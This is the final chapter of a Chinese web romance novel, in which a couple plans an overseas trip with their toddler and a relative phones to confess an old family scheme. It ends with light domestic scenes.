各自分开后,陈今问出一堆疑惑:“你和舅舅怎么连个联系方式都没有,连他成家都不知道,耳朵满月和周岁也都没有邀请他?” “之前也很少走动。” 陆应倬抱着小耳朵,拉陈今进入电梯,“我出国那年,他请我吃了一顿饭,和我说之后就搬到海市生活了,我们联系越来越少,不来往。” 除了小时候逢年过节。 回忆比较多的也是母亲过世之后,严继平接送他上下学,断断续续照顾了他几个月。 “好吧。” 陈今记得陆远璋和他说过。 严继平从小是被领养的,男人本身讨好家庭的心思就不多,不太亲近侄儿也正常。 “小米才比耳朵宝大一岁,算他表姑!” 陈今有种很割裂的感觉,“我妈也是三十多岁才生的我……靠,我俩生孩子是不是有点太早了?” 小米是严继平的女儿。 陆应倬换了手抱小耳朵,搂住陈今,“每个人节奏不一样,没必要比,你想把儿子现在塞回去也不可能了。” 小耳朵发饭晕了,又要睡觉,听闻抬起脑袋:“塞宝宝?” “没有没有。”陈今赶忙摸摸他脑袋,“哪里舍得塞你啊宝宝~” 小耳朵和爸爸蹭鼻子笑。 * 带娃日结束。 陈今又开始上班挣钱,下班被崽儿治愈的生活,家里长辈时常走动,时不时热闹一下。 一回去坐班,他就接到了一个特殊的大单。 单主在国外上学。 人只是临时回来,马上就又要飞回学校了,舍不得好不容易约到的档期,问陈今接不接受去国外拍摄——全款预付,可携团队一人,三日机票酒店全包。 李华来说的时候,陈今刚好在和宝宝通电话,问:“耳朵宝宝你想出门玩儿吗?” 小耳朵:“爸爸去耳朵去。” 陈今一口应下约拍。 在选人环节时,李华第一个说:“我还有安排,你带康乐或者白迅去好了,玩得开心点。” 白迅:“我看人家自己就是美妆类型的博主诶,没有指明化妆师,我就不要浪费名额了,康乐去帮老板分担一下。” 林康乐光荣赴任,对此表现出:“我去啊我去啊,我一定会好好干的!” 陈今笑:“行,加油。” 当天晚上回家。 他刚说完自己要去国外拍摄,陆应倬就问:“哪个国家?” 陈今说了。 陆应倬:“出发时间呢?我也去那边出差。” 陈今对他这么腻歪很无语:“三天后。” “我比顾客晚一天去,她说学校有事,看时差估计要凌晨落地。” 陆应倬亮出何卫澜两小时前发来的机票信息。 一个目的地。 同一天,只是起飞时间不同。 陈今一看:“我靠?” “我报销,帮你改头等同一班。” 陆应倬说着就决定了,“忙完我们在那边玩儿一段时间。” 陈今点点头,那太好了。 他正愁一个人带宝宝出门要不要找个地陪翻译。 陈今对此次工作抱有期待,一带一传染到了小耳朵,宝宝穿着小袜子在家里跟着爸爸跑来跑去,收拾行李。 “哎——” 小耳朵摔了个屁股墩。 陈今一看摔在小狗身上,没有给过多关注,让儿子自力更生。 小耳朵对着哥哥说:“梳毛毛。” 块头飞奔走开,再次出现已经叼着毛梳过来,趴下,让小家伙坐在地上玩儿个够。 陆应倬还在安排工作。 一大早就看到两人一狗腻腻歪歪。 小耳朵和陈今从昨晚就睡在一起,大小考拉分都分不开。 陆应倬下楼吃早餐。 对一样走下来的陈今说:“出差酒店我开的套间,三室一厅。” 陈今嫌贵:“为什么?” 陆应倬对他说:“带儿子出门,我俩办事不方便。” 陈今无语:“滚啊。” “过去我还要上班,累都累死了,谁要和你睡?” 陆应倬:“并不,每次做完你都睡得很香。” 陈今:“……” “老子那是累晕了!!” 陆应倬勾了勾嘴角,牵过他,“我要去公司了,和我亲嘴。” 索吻不成 只会招来不依不饶。 陈今自发跨上他腿一坐,用力往死里亲,腰被人按紧的前一刻,自发滚走,“行了滚吧。” 陆应倬:“其实我今天不上班。” 陈今:“……” 根本玩儿不过他。 “嗡嗡嗡——” 陆应倬拿起手机。 陈今一大早就被他耍,上楼找静悄悄不做声的儿子去了。 “舅舅。”陆应倬走到窗边。 “最近怎么样?”严继平温和问他:“平时带陈今和小耳朵回陆家相处还好吗?” 陆应倬:“您可以直说。” 对面沉默一阵。 然后传来一句低叹:“对不起,小倬。” “我不知道你现在和陆家的关系,我马上就要离开首都了,这么多年回来一趟就能遇到你,我认为我应该和你说说这件事。” 陆应倬:“您要说什么?” “你当年说想要一个人出去走走,买了车票,是受了我的劝说吗?”严继平轻声说:“如果是,那我很抱歉。” 陆应倬:“不是,我早有这个打算。” 对面又是沉默。 严继平没有任何顾虑开了口—— “当初你母亲去世后,陆夫人找到我,说可以在海市安排一份令我后半生无忧的工作,只要我带你离开一段时间,大概半年,说你的存在会让你父亲的精神问题更严重,我不知道她要做什么,我没答应也没拒绝。” “我接送你上下学,看你形单影只,回到家里又是一个人,我偶尔劝你说想带你出去转转,你说不用。” “我承认我在试探。” “如果你答应和我离开是最好,不答应,我就当陆夫人找我这件事没有发生过。” 陆应倬安静听着。 严继平:“后来你独自出行,失踪了一年多。” “我什么都没做,也得到了现在这份海市管理层的高薪工作,你回来后,临别前那顿饭我想坦白,但你说打算回你父亲身边……也就不了了之。” “我从回首都见到你开始,就一直心神不宁,我妻子也劝我和你说开,对不起小倬,原谅我只是个平庸之人,日后请你注意一下陆夫人,再见。” 陆应倬挂断电话。 这时。 “打完电话了就接着——” 陆应倬抱稳迎面而来的崽儿。 紧接着他双眼一黑,一手托住跳上背的陈今,缓缓单手将儿子放到沙发上,听脚边到处跑的块头呜呜叫。 “你怎么又无视野预判了!” 陈今看他这一串行云流水的动作,腿一勾,抱紧了些,“偷袭你是一件这么难的事情吗?” 陆应倬笑着托住人腿弯。 一看沙发上的儿子。 一身狗毛落的到处都是,头发上睫毛上,陆应倬抱他过来,“张开嘴巴。” 小耳朵:“啊噗……是哥哥的毛毛多啦!” “我和你说小孩儿一安静就不对。” 陈今挂在陆应倬身上,“我上楼一看他把狗毛梳的到处都是,在狗毛里打滚!” 陆应倬唇角一弯,把儿子扒干净,捞起来,“上楼换衣服。” 陈今:“这么厉害那你走楼梯?” 小耳朵:“爹地好厉害!能一起抱我和爸爸!” 陆应倬:“轻轻松松。” 陈今:“轻轻松松??” 小耳朵也学:“轻轻松松!” —正文完—魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m